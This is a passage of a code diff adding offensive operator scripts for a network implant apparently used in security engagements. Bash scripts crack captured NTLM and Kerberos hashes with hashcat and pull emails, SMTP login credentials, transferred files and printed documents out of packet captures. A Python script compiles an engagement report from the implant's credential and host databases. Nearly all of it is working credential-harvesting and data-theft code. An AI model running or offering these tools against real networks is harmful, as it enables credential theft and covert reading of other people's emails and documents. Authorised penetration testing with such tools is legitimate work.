total=$(cut -d: -f1 "$hashfile" | sort -u | wc -l)
|
||||
if [[ $total -gt 20 ]]; then
|
||||
echo -e " ... ($total total)"
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Crack with hashcat (optional)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
if $DO_CRACK; then
|
||||
if ! command -v hashcat &>/dev/null; then
|
||||
echo -e "${RED}[-] hashcat not found — install from https://hashcat.net${NC}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [[ ! -f "$WORDLIST" ]]; then
|
||||
echo -e "${RED}[-] Wordlist not found: $WORDLIST${NC}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo -e "${CYAN}[*] Running hashcat...${NC}"
|
||||
echo -e " Wordlist: ${WORDLIST}"
|
||||
echo -e " Rules: ${RULES_FILE}"
|
||||
echo ""
|
||||
|
||||
POTFILE="$OUTPUT_DIR/hashcat.potfile"
|
||||
|
||||
# Crack each hash type
|
||||
for hashfile in "$OUTPUT_DIR"/*.txt; do
|
||||
[[ -f "$hashfile" ]] || continue
|
||||
basename_hash=$(basename "$hashfile")
|
||||
|
||||
# Skip cleartext and already-cracked
|
||||
[[ "$basename_hash" == "cleartext.txt" ]] && continue
|
||||
[[ "$basename_hash" == "cracked_"* ]] && continue
|
||||
|
||||
# Extract hashcat mode from filename
|
||||
mode=$(echo "$basename_hash" | grep -oP '\d{4,5}' || echo "")
|
||||
if [[ -z "$mode" ]]; then
|
||||
continue
|
||||
fi
|
||||
|
||||
count=$(wc -l < "$hashfile")
|
||||
if [[ $count -eq 0 ]]; then
|
||||
continue
|
||||
fi
|
||||
|
||||
echo -e "${YELLOW}[*] Cracking $basename_hash ($count hashes, mode $mode)${NC}"
|
||||
|
||||
# Run hashcat — dictionary + rules
|
||||
hashcat -m "$mode" -a 0 \
|
||||
"$hashfile" "$WORDLIST" \
|
||||
-r "$RULES_FILE" \
|
||||
--potfile-path "$POTFILE" \
|
||||
--outfile "$OUTPUT_DIR/cracked_${basename_hash}" \
|
||||
--outfile-format 2 \
|
||||
-O \
|
||||
2>/dev/null || true
|
||||
|
||||
cracked=$(wc -l < "$OUTPUT_DIR/cracked_${basename_hash}" 2>/dev/null || echo 0)
|
||||
echo -e " ${GREEN}Cracked: $cracked / $count${NC}"
|
||||
echo ""
|
||||
done
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Cracking summary
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
echo -e "${GREEN}[+] Cracking complete${NC}"
|
||||
echo -e " Potfile: $POTFILE"
|
||||
echo ""
|
||||
echo -e "${CYAN}[*] Cracked credentials:${NC}"
|
||||
for cracked in "$OUTPUT_DIR"/cracked_*.txt; do
|
||||
[[ -f "$cracked" ]] || continue
|
||||
echo -e " ${GREEN}$(basename $cracked):${NC}"
|
||||
head -20 "$cracked" | sed 's/^/ /'
|
||||
done
|
||||
else
|
||||
echo -e "${CYAN}[*] Hash files exported to: $OUTPUT_DIR${NC}"
|
||||
echo " Run with --crack to start cracking"
|
||||
echo ""
|
||||
echo " Manual cracking examples:"
|
||||
echo " hashcat -m 5600 $OUTPUT_DIR/ntlmv2_5600.txt /path/to/wordlist.txt -r /path/to/rules"
|
||||
echo " hashcat -m 5500 $OUTPUT_DIR/ntlmv1_5500.txt /path/to/wordlist.txt"
|
||||
echo " hashcat -m 13100 $OUTPUT_DIR/kerberos_tgs_13100.txt /path/to/wordlist.txt"
|
||||
fi
|
||||
Executable
+188
@@ -0,0 +1,188 @@
|
||||
#!/usr/bin/env bash
|
||||
# BigBrother Operator Script — Extract Emails from PCAPs
|
||||
#
|
||||
# Extracts SMTP email messages from network captures. Reconstructs
|
||||
# complete emails including headers, body, and attachments.
|
||||
#
|
||||
# Unencrypted SMTP (port 25/587 without STARTTLS) is still common on
|
||||
# internal networks, especially between mail servers and printers/scanners.
|
||||
#
|
||||
# Usage: ./extract_emails.sh <pcap_dir> [output_dir]
|
||||
#
|
||||
# Requires: tshark
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
CYAN='\033[0;36m'
|
||||
NC='\033[0m'
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Arguments
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
PCAP_DIR="${1:-}"
|
||||
OUTPUT_DIR="${2:-$(pwd)/extracted-emails-$(date +%Y%m%d-%H%M%S)}"
|
||||
|
||||
if [[ -z "$PCAP_DIR" ]]; then
|
||||
echo -e "${RED}Usage: $0 <pcap_dir> [output_dir]${NC}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [[ ! -d "$PCAP_DIR" ]]; then
|
||||
echo -e "${RED}[-] PCAP directory not found: $PCAP_DIR${NC}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if ! command -v tshark &>/dev/null; then
|
||||
echo -e "${RED}[-] tshark not found — install with: apt install tshark${NC}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
mkdir -p "$OUTPUT_DIR"/{raw,parsed,attachments,summary}
|
||||
|
||||
echo -e "${CYAN}[*] BigBrother Email Extraction${NC}"
|
||||
echo -e " PCAP dir: ${PCAP_DIR}"
|
||||
echo -e " Output: ${OUTPUT_DIR}"
|
||||
echo ""
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Extract SMTP sessions
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
EMAIL_COUNT=0
|
||||
ATTACHMENT_COUNT=0
|
||||
|
||||
for pcap in "$PCAP_DIR"/*.pcap "$PCAP_DIR"/*.pcapng; do
|
||||
[[ -f "$pcap" ]] || continue
|
||||
basename_pcap=$(basename "$pcap")
|
||||
echo -e "${YELLOW}[*] Scanning: ${basename_pcap}${NC}"
|
||||
|
||||
# Check for SMTP traffic
|
||||
has_smtp=$(tshark -r "$pcap" -Y "smtp || tcp.port == 25 || tcp.port == 587" -c 1 2>/dev/null | wc -l)
|
||||
if [[ "$has_smtp" -eq 0 ]]; then
|
||||
echo -e " (no SMTP traffic)"
|
||||
continue
|
||||
fi
|
||||
|
||||
# Export IMF (Internet Message Format) objects
|
||||
imf_dir="$OUTPUT_DIR/raw/${basename_pcap%.pcap*}"
|
||||
mkdir -p "$imf_dir"
|
||||
tshark -r "$pcap" --export-objects "imf,$imf_dir" 2>/dev/null || true
|
||||
|
||||
imf_count=$(find "$imf_dir" -type f 2>/dev/null | wc -l)
|
||||
if [[ $imf_count -gt 0 ]]; then
|
||||
echo -e " ${GREEN}Found $imf_count email messages${NC}"
|
||||
EMAIL_COUNT=$((EMAIL_COUNT + imf_count))
|
||||
fi
|
||||
|
||||
# Extract SMTP streams for raw analysis
|
||||
streams=$(tshark -r "$pcap" -Y "tcp.dstport == 25 && tcp.len > 0" \
|
||||
-T fields -e tcp.stream 2>/dev/null | sort -un)
|
||||
|
||||
for stream_id in $streams; do
|
||||
stream_file="$OUTPUT_DIR/raw/smtp_stream_${stream_id}.txt"
|
||||
|
||||
# Follow the TCP stream
|
||||
tshark -r "$pcap" -q -z "follow,tcp,ascii,${stream_id}" \
|
||||
> "$stream_file" 2>/dev/null || true
|
||||
|
||||
if [[ ! -s "$stream_file" ]]; then
|
||||
rm -f "$stream_file"
|
||||
continue
|
||||
fi
|
||||
|
||||
# Extract email metadata
|
||||
from=$(grep -i "^MAIL FROM:" "$stream_file" 2>/dev/null | head -1 | sed 's/MAIL FROM://i' | tr -d '<> ' || echo "unknown")
|
||||
to=$(grep -i "^RCPT TO:" "$stream_file" 2>/dev/null | head -1 | sed 's/RCPT TO://i' | tr -d '<> ' || echo "unknown")
|
||||
subject=$(grep -i "^Subject:" "$stream_file" 2>/dev/null | head -1 | sed 's/Subject: //i' || echo "(no subject)")
|
||||
|
||||
if [[ -n "$from" || -n "$to" ]]; then
|
||||
# Write summary
|
||||
{
|
||||
echo "Stream: $stream_id"
|
||||
echo "From: $from"
|
||||
echo "To: $to"
|
||||
echo "Subject: $subject"
|
||||
echo "File: $stream_file"
|
||||
echo "---"
|
||||
} >> "$OUTPUT_DIR/summary/email_index.txt"
|
||||
fi
|
||||
done
|
||||
|
||||
# Also check port 587 (submission)
|
||||
streams_587=$(tshark -r "$pcap" -Y "tcp.dstport == 587 && tcp.len > 0" \
|
||||
-T fields -e tcp.stream 2>/dev/null | sort -un)
|
||||
|
||||
for stream_id in $streams_587; do
|
||||
stream_file="$OUTPUT_DIR/raw/smtp_587_stream_${stream_id}.txt"
|
||||
tshark -r "$pcap" -q -z "follow,tcp,ascii,${stream_id}" \
|
||||
> "$stream_file" 2>/dev/null || true
|
||||
|
||||
[[ -s "$stream_file" ]] || rm -f "$stream_file"
|
||||
done
|
||||
|
||||
echo ""
|
||||
done
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Parse extracted emails for attachments
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
echo -e "${YELLOW}[*] Scanning for attachments...${NC}"
|
||||
|
||||
for email_file in "$OUTPUT_DIR"/raw/*/*.eml "$OUTPUT_DIR"/raw/*/email_* 2>/dev/null; do
|
||||
[[ -f "$email_file" ]] || continue
|
||||
|
||||
# Look for MIME boundaries indicating attachments
|
||||
if grep -qi "Content-Disposition: attachment\|Content-Transfer-Encoding: base64" "$email_file" 2>/dev/null; then
|
||||
ATTACHMENT_COUNT=$((ATTACHMENT_COUNT + 1))
|
||||
filename=$(grep -i "filename=" "$email_file" 2>/dev/null | head -1 | sed 's/.*filename="\?\([^"]*\)"\?.*/\1/' || echo "unknown")
|
||||
echo -e " Attachment found: ${filename} in $(basename $email_file)"
|
||||
fi
|
||||
done
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Extract SMTP auth credentials
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
echo -e "${YELLOW}[*] Scanning for SMTP credentials...${NC}"
|
||||
|
||||
cred_file="$OUTPUT_DIR/summary/smtp_credentials.txt"
|
||||
for stream_file in "$OUTPUT_DIR"/raw/smtp_*.txt; do
|
||||
[[ -f "$stream_file" ]] || continue
|
||||
|
||||
# Look for AUTH LOGIN or AUTH PLAIN
|
||||
if grep -q "AUTH LOGIN\|AUTH PLAIN" "$stream_file" 2>/dev/null; then
|
||||
echo -e " ${GREEN}SMTP auth found in $(basename $stream_file)${NC}"
|
||||
grep -A 3 "AUTH" "$stream_file" >> "$cred_file" 2>/dev/null || true
|
||||
echo "---" >> "$cred_file"
|
||||
fi
|
||||
done
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Summary
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
echo ""
|
||||
echo -e "${GREEN}[+] Email extraction complete${NC}"
|
||||
echo -e " Emails found: ${EMAIL_COUNT}"
|
||||
echo -e " Attachments found: ${ATTACHMENT_COUNT}"
|
||||
echo ""
|
||||
|
||||
if [[ -f "$OUTPUT_DIR/summary/email_index.txt" ]]; then
|
||||
echo -e "${CYAN}[*] Email index:${NC}"
|
||||
head -30 "$OUTPUT_DIR/summary/email_index.txt" | sed 's/^/ /'
|
||||
total_indexed=$(grep -c "^Stream:" "$OUTPUT_DIR/summary/email_index.txt" 2>/dev/null || echo 0)
|
||||
if [[ $total_indexed -gt 5 ]]; then
|
||||
echo -e " ... ($total_indexed total — see $OUTPUT_DIR/summary/email_index.txt)"
|
||||
fi
|
||||
fi
|
||||
|
||||
if [[ -f "$cred_file" ]]; then
|
||||
echo ""
|
||||
echo -e "${GREEN}[+] SMTP credentials saved to: $cred_file${NC}"
|
||||
echo -e " (base64 encoded — decode with: echo '<value>' | base64 -d)"
|
||||
fi
|
||||
Executable
+134
@@ -0,0 +1,134 @@
|
||||
#!/usr/bin/env bash
|
||||
# BigBrother Operator Script — Extract Files from PCAPs
|
||||
#
|
||||
# Uses tshark to extract transferred files from PCAP captures.
|
||||
# Supports HTTP objects, SMB file transfers, FTP data, and TFTP.
|
||||
#
|
||||
# Usage: ./extract_files.sh <pcap_dir> [output_dir]
|
||||
#
|
||||
# Examples:
|
||||
# ./extract_files.sh ./bb-pull-20240115/pcaps
|
||||
# ./extract_files.sh /opt/cases/acme/pcaps /opt/cases/acme/extracted
|
||||
#
|
||||
# Requires: tshark (Wireshark CLI)
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
CYAN='\033[0;36m'
|
||||
NC='\033[0m'
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Arguments
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
PCAP_DIR="${1:-}"
|
||||
OUTPUT_DIR="${2:-$(pwd)/extracted-files-$(date +%Y%m%d-%H%M%S)}"
|
||||
|
||||
if [[ -z "$PCAP_DIR" ]]; then
|
||||
echo -e "${RED}Usage: $0 <pcap_dir> [output_dir]${NC}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [[ ! -d "$PCAP_DIR" ]]; then
|
||||
echo -e "${RED}[-] PCAP directory not found: $PCAP_DIR${NC}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Check dependencies
|
||||
if ! command -v tshark &>/dev/null; then
|
||||
echo -e "${RED}[-] tshark not found — install with: apt install tshark${NC}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Create output structure
|
||||
mkdir -p "$OUTPUT_DIR"/{http,smb,ftp,tftp,dicom,imf}
|
||||
|
||||
echo -e "${CYAN}[*] BigBrother File Extraction${NC}"
|
||||
echo -e " PCAP dir: ${PCAP_DIR}"
|
||||
echo -e " Output: ${OUTPUT_DIR}"
|
||||
echo ""
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Extract files from each PCAP
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
PCAP_COUNT=0
|
||||
HTTP_COUNT=0
|
||||
SMB_COUNT=0
|
||||
FTP_COUNT=0
|
||||
|
||||
for pcap in "$PCAP_DIR"/*.pcap "$PCAP_DIR"/*.pcapng; do
|
||||
[[ -f "$pcap" ]] || continue
|
||||
PCAP_COUNT=$((PCAP_COUNT + 1))
|
||||
basename_pcap=$(basename "$pcap")
|
||||
echo -e "${YELLOW}[*] Processing: ${basename_pcap}${NC}"
|
||||
|
||||
# HTTP objects (downloads, uploads, pages)
|
||||
echo -e " Extracting HTTP objects..."
|
||||
http_dir="$OUTPUT_DIR/http/${basename_pcap%.pcap*}"
|
||||
mkdir -p "$http_dir"
|
||||
tshark -r "$pcap" --export-objects "http,$http_dir" 2>/dev/null || true
|
||||
count=$(find "$http_dir" -type f 2>/dev/null | wc -l)
|
||||
HTTP_COUNT=$((HTTP_COUNT + count))
|
||||
echo -e " ${GREEN}Found $count HTTP objects${NC}"
|
||||
|
||||
# SMB file transfers
|
||||
echo -e " Extracting SMB objects..."
|
||||
smb_dir="$OUTPUT_DIR/smb/${basename_pcap%.pcap*}"
|
||||
mkdir -p "$smb_dir"
|
||||
tshark -r "$pcap" --export-objects "smb,$smb_dir" 2>/dev/null || true
|
||||
count=$(find "$smb_dir" -type f 2>/dev/null | wc -l)
|
||||
SMB_COUNT=$((SMB_COUNT + count))
|
||||
echo -e " ${GREEN}Found $count SMB objects${NC}"
|
||||
|
||||
# FTP data streams
|
||||
echo -e " Extracting FTP data..."
|
||||
ftp_dir="$OUTPUT_DIR/ftp/${basename_pcap%.pcap*}"
|
||||
mkdir -p "$ftp_dir"
|
||||
tshark -r "$pcap" --export-objects "ftp-data,$ftp_dir" 2>/dev/null || true
|
||||
count=$(find "$ftp_dir" -type f 2>/dev/null | wc -l)
|
||||
FTP_COUNT=$((FTP_COUNT + count))
|
||||
echo -e " ${GREEN}Found $count FTP objects${NC}"
|
||||
|
||||
# TFTP transfers
|
||||
echo -e " Extracting TFTP data..."
|
||||
tftp_dir="$OUTPUT_DIR/tftp/${basename_pcap%.pcap*}"
|
||||
mkdir -p "$tftp_dir"
|
||||
tshark -r "$pcap" --export-objects "tftp,$tftp_dir" 2>/dev/null || true
|
||||
|
||||
# IMF (email) objects
|
||||
echo -e " Extracting email objects..."
|
||||
imf_dir="$OUTPUT_DIR/imf/${basename_pcap%.pcap*}"
|
||||
mkdir -p "$imf_dir"
|
||||
tshark -r "$pcap" --export-objects "imf,$imf_dir" 2>/dev/null || true
|
||||
|
||||
echo ""
|
||||
done
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Summary
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
if [[ $PCAP_COUNT -eq 0 ]]; then
|
||||
echo -e "${RED}[-] No PCAP files found in $PCAP_DIR${NC}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
TOTAL=$(find "$OUTPUT_DIR" -type f ! -name "*.md" 2>/dev/null | wc -l)
|
||||
|
||||
echo -e "${GREEN}[+] Extraction complete${NC}"
|
||||
echo -e " PCAPs processed: ${PCAP_COUNT}"
|
||||
echo -e " Total files: ${TOTAL}"
|
||||
echo -e " HTTP objects: ${HTTP_COUNT}"
|
||||
echo -e " SMB objects: ${SMB_COUNT}"
|
||||
echo -e " FTP objects: ${FTP_COUNT}"
|
||||
echo ""
|
||||
du -sh "$OUTPUT_DIR"/* 2>/dev/null | sed 's/^/ /'
|
||||
echo ""
|
||||
echo -e "${CYAN}[*] Review extracted files for sensitive data:${NC}"
|
||||
echo " - Documents: find $OUTPUT_DIR -name '*.doc*' -o -name '*.pdf' -o -name '*.xls*'"
|
||||
echo " - Config: find $OUTPUT_DIR -name '*.conf' -o -name '*.ini' -o -name '*.xml'"
|
||||
echo " - Scripts: find $OUTPUT_DIR -name '*.ps1' -o -name '*.bat' -o -name '*.sh'"
|
||||
Executable
+152
@@ -0,0 +1,152 @@
|
||||
#!/usr/bin/env bash
|
||||
# BigBrother Operator Script — Extract Print Jobs from PCAPs
|
||||
#
|
||||
# Reconstructs print jobs from TCP/9100 (JetDirect/RAW) traffic captured
|
||||
# in PCAPs. Converts PCL/PostScript to PDF using Ghostscript.
|
||||
#
|
||||
# Print traffic is often unencrypted and contains sensitive documents:
|
||||
# HR letters, financial reports, legal docs, network diagrams, etc.
|
||||
#
|
||||
# Usage: ./extract_print_jobs.sh <pcap_dir> [output_dir]
|
||||
#
|
||||
# Requires: tshark, ghostscript (gs)
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
CYAN='\033[0;36m'
|
||||
NC='\033[0m'
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Arguments
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
PCAP_DIR="${1:-}"
|
||||
OUTPUT_DIR="${2:-$(pwd)/print-jobs-$(date +%Y%m%d-%H%M%S)}"
|
||||
|
||||
if [[ -z "$PCAP_DIR" ]]; then
|
||||
echo -e "${RED}Usage: $0 <pcap_dir> [output_dir]${NC}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [[ ! -d "$PCAP_DIR" ]]; then
|
||||
echo -e "${RED}[-] PCAP directory not found: $PCAP_DIR${NC}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Check dependencies
|
||||
for tool in tshark gs; do
|
||||
if ! command -v "$tool" &>/dev/null; then
|
||||
echo -e "${RED}[-] $tool not found${NC}"
|
||||
case "$tool" in
|
||||
tshark) echo " Install with: apt install tshark" ;;
|
||||
gs) echo " Install with: apt install ghostscript" ;;
|
||||
esac
|
||||
exit 1
|
||||
fi
|
||||
done
|
||||
|
||||
mkdir -p "$OUTPUT_DIR"/{raw,pdf,metadata}
|
||||
|
||||
echo -e "${CYAN}[*] BigBrother Print Job Extraction${NC}"
|
||||
echo -e " PCAP dir: ${PCAP_DIR}"
|
||||
echo -e " Output: ${OUTPUT_DIR}"
|
||||
echo ""
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Extract print streams from PCAPs
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
JOB_COUNT=0
|
||||
PDF_COUNT=0
|
||||
|
||||
for pcap in "$PCAP_DIR"/*.pcap "$PCAP_DIR"/*.pcapng; do
|
||||
[[ -f "$pcap" ]] || continue
|
||||
basename_pcap=$(basename "$pcap")
|
||||
echo -e "${YELLOW}[*] Scanning: ${basename_pcap}${NC}"
|
||||
|
||||
# Check if this PCAP has any port 9100 traffic
|
||||
has_print=$(tshark -r "$pcap" -Y "tcp.port == 9100" -c 1 2>/dev/null | wc -l)
|
||||
if [[ "$has_print" -eq 0 ]]; then
|
||||
echo -e " (no print traffic)"
|
||||
continue
|
||||
fi
|
||||
|
||||
# Extract TCP streams on port 9100
|
||||
# Get unique stream indices for print traffic
|
||||
streams=$(tshark -r "$pcap" -Y "tcp.dstport == 9100 && tcp.len > 0" \
|
||||
-T fields -e tcp.stream 2>/dev/null | sort -un)
|
||||
|
||||
for stream_id in $streams; do
|
||||
JOB_COUNT=$((JOB_COUNT + 1))
|
||||
raw_file="$OUTPUT_DIR/raw/job_${JOB_COUNT}_stream${stream_id}.raw"
|
||||
pdf_file="$OUTPUT_DIR/pdf/job_${JOB_COUNT}_stream${stream_id}.pdf"
|
||||
meta_file="$OUTPUT_DIR/metadata/job_${JOB_COUNT}.txt"
|
||||
|
||||
# Extract the raw print data from the TCP stream
|
||||
tshark -r "$pcap" -q -z "follow,tcp,raw,${stream_id}" 2>/dev/null | \
|
||||
grep -E '^[0-9a-fA-F]+$' | xxd -r -p > "$raw_file" 2>/dev/null || true
|
||||
|
||||
if [[ ! -s "$raw_file" ]]; then
|
||||
rm -f "$raw_file"
|
||||
JOB_COUNT=$((JOB_COUNT - 1))
|
||||
continue
|
||||
fi
|
||||
|
||||
file_size=$(stat -c %s "$raw_file" 2>/dev/null || echo 0)
|
||||
echo -e " Stream $stream_id: ${file_size} bytes"
|
||||
|
||||
# Record metadata (source/dest IPs, timestamps)
|
||||
tshark -r "$pcap" -Y "tcp.stream == ${stream_id}" -c 1 \
|
||||
-T fields -e ip.src -e ip.dst -e frame.time 2>/dev/null > "$meta_file" || true
|
||||
echo "Raw file: $raw_file" >> "$meta_file"
|
||||
echo "Size: $file_size bytes" >> "$meta_file"
|
||||
|
||||
# Detect format and convert to PDF
|
||||
file_magic=$(head -c 20 "$raw_file" | cat -v 2>/dev/null || echo "")
|
||||
|
||||
if echo "$file_magic" | grep -q "%!PS\|%PDF\|^-E"; then
|
||||
# PostScript or PDF — convert with Ghostscript
|
||||
gs -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile="$pdf_file" \
|
||||
"$raw_file" 2>/dev/null && {
|
||||
PDF_COUNT=$((PDF_COUNT + 1))
|
||||
echo -e " ${GREEN}Converted to PDF: $(basename $pdf_file)${NC}"
|
||||
} || {
|
||||
echo -e " ${RED}Ghostscript conversion failed${NC}"
|
||||
}
|
||||
elif echo "$file_magic" | grep -qi "^.E.*HP\|PCL\|PJL"; then
|
||||
# PCL/PJL — try Ghostscript PCL interpreter
|
||||
gs -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile="$pdf_file" \
|
||||
"$raw_file" 2>/dev/null && {
|
||||
PDF_COUNT=$((PDF_COUNT + 1))
|
||||
echo -e " ${GREEN}Converted PCL to PDF: $(basename $pdf_file)${NC}"
|
||||
} || {
|
||||
echo -e " ${YELLOW}PCL conversion failed (raw data preserved)${NC}"
|
||||
}
|
||||
else
|
||||
echo -e " ${YELLOW}Unknown format — raw data preserved${NC}"
|
||||
echo "Format: unknown (magic: $(head -c 10 "$raw_file" | xxd -p 2>/dev/null))" >> "$meta_file"
|
||||
fi
|
||||
done
|
||||
done
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Summary
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
echo ""
|
||||
echo -e "${GREEN}[+] Print job extraction complete${NC}"
|
||||
echo -e " Print jobs found: ${JOB_COUNT}"
|
||||
echo -e " Converted to PDF: ${PDF_COUNT}"
|
||||
echo ""
|
||||
|
||||
if [[ $JOB_COUNT -gt 0 ]]; then
|
||||
echo -e "${CYAN}[*] Output:${NC}"
|
||||
echo " Raw data: $OUTPUT_DIR/raw/"
|
||||
echo " PDFs: $OUTPUT_DIR/pdf/"
|
||||
echo " Metadata: $OUTPUT_DIR/metadata/"
|
||||
echo ""
|
||||
ls -lhS "$OUTPUT_DIR/pdf/" 2>/dev/null | tail -20 | sed 's/^/ /'
|
||||
fi
|
||||
Executable
+509
@@ -0,0 +1,509 @@
|
||||
#!/usr/bin/env python3
|
||||
"""SystemMonitor Operator Script — Generate Engagement Report.
|
||||
|
||||
Pulls data from SQLite databases synced from the implant and generates
|
||||
a structured engagement report in both Markdown and HTML formats.
|
||||
|
||||
Sections:
|
||||
1. Executive Summary
|
||||
2. Network Topology & Host Inventory
|
||||
3. Captured Credentials
|
||||
4. DNS Intelligence
|
||||
5. Traffic Analysis
|
||||
6. Timeline of Events
|
||||
7. Recommendations
|
||||
|
||||
Usage:
|
||||
python3 generate_report.py <data_dir> [--output <path>] [--title <title>]
|
||||
|
||||
Examples:
|
||||
python3 generate_report.py ./bb-pull-20240115
|
||||
python3 generate_report.py ./bb-pull-20240115 --title "ACME Corp Assessment"
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import sqlite3
|
||||
import sys
|
||||
import time
|
||||
from collections import Counter, defaultdict
|
||||
from datetime import datetime, timezone
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Database helpers
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def connect_db(db_path):
|
||||
"""Connect to a SQLite database if it exists."""
|
||||
if not os.path.isfile(db_path):
|
||||
return None
|
||||
try:
|
||||
conn = sqlite3.connect(db_path)
|
||||
conn.row_factory = sqlite3.Row
|
||||
return conn
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
|
||||
def safe_query(conn, sql, params=None):
|
||||
"""Execute a query, returning empty list on error."""
|
||||
if conn is None:
|
||||
return []
|
||||
try:
|
||||
cursor = conn.execute(sql, params or ())
|
||||
return cursor.fetchall()
|
||||
except Exception:
|
||||
return []
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Data collection
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def collect_credentials(data_dir):
|
||||
"""Collect credentials from credential database and Responder logs."""
|
||||
creds = []
|
||||
|
||||
# From credential DB
|
||||
conn = connect_db(os.path.join(data_dir, "databases", "credentials.db"))
|
||||
if conn:
|
||||
rows = safe_query(conn, """
|
||||
SELECT timestamp, source_ip, target_ip, target_service,
|
||||
username, domain, credential_type, hashcat_mode
|
||||
FROM credentials
|
||||
ORDER BY timestamp
|
||||
""")
|
||||
for r in rows:
|
||||
creds.append({
|
||||
"timestamp": r["timestamp"],
|
||||
"source_ip": r["source_ip"] or "",
|
||||
"target_ip": r["target_ip"] or "",
|
||||
"service": r["target_service"] or "",
|
||||
"username": r["username"] or "",
|
||||
"domain": r["domain"] or "",
|
||||
"type": r["credential_type"] or "",
|
||||
"hashcat_mode": r["hashcat_mode"],
|
||||
})
|
||||
conn.close()
|
||||
|
||||
return creds
|
||||
|
||||
|
||||
def collect_hosts(data_dir):
|
||||
"""Collect host inventory from state database."""
|
||||
hosts = []
|
||||
conn = connect_db(os.path.join(data_dir, "databases", "state.db"))
|
||||
if conn:
|
||||
rows = safe_query(conn, """
|
||||
SELECT key, value FROM kv_store
|
||||
WHERE module = 'host_discovery'
|
||||
""")
|
||||
for r in rows:
|
||||
try:
|
||||
host_data = json.loads(r["value"])
|
||||
if isinstance(host_data, dict):
|
||||
hosts.append(host_data)
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
pass
|
||||
conn.close()
|
||||
|
||||
# Also check topology DB
|
||||
conn = connect_db(os.path.join(data_dir, "databases", "topology.db"))
|
||||
if conn:
|
||||
rows = safe_query(conn, """
|
||||
SELECT ip, mac, hostname, os, vendor, first_seen, last_seen
|
||||
FROM hosts
|
||||
ORDER BY ip
|
||||
""")
|
||||
for r in rows:
|
||||
hosts.append({
|
||||
"ip": r["ip"],
|
||||
"mac": r["mac"] or "",
|
||||
"hostname": r["hostname"] or "",
|
||||
"os": r["os"] or "",
|
||||
"vendor": r["vendor"] or "",
|
||||
"first_seen": r["first_seen"],
|
||||
"last_seen": r["last_seen"],
|
||||
})
|
||||
conn.close()
|
||||
|
||||
return hosts
|
||||
|
||||
|
||||
def collect_dns_stats(data_dir):
|
||||
"""Collect DNS query statistics."""
|
||||
stats = {"total_queries": 0, "top_domains": [], "top_queriers": [], "doh_count": 0}
|
||||
|
||||
conn = connect_db(os.path.join(data_dir, "databases", "dns_queries.db"))
|
||||
if not conn:
|
||||
return stats
|
||||
|
||||
# Total queries
|
||||
rows = safe_query(conn, "SELECT COUNT(*) as cnt FROM dns_queries")
|
||||
stats["total_queries"] = rows[0]["cnt"] if rows else 0
|
||||
|
||||
# DoH detections
|
||||
rows = safe_query(conn, "SELECT COUNT(*) as cnt FROM dns_queries WHERE is_doh = 1")
|
||||
stats["doh_count"] = rows[0]["cnt"] if rows else 0
|
||||
|
||||
# Top queried domains
|
||||
rows = safe_query(conn, """
|
||||
SELECT domain, COUNT(*) as cnt
|
||||
FROM dns_queries WHERE is_doh = 0
|
||||
GROUP BY domain ORDER BY cnt DESC LIMIT 20
|
||||
""")
|
||||
stats["top_domains"] = [(r["domain"], r["cnt"]) for r in rows]
|
||||
|
||||
# Top querier IPs
|
||||
rows = safe_query(conn, """
|
||||
SELECT source_ip, COUNT(*) as cnt
|
||||
FROM dns_queries WHERE is_doh = 0
|
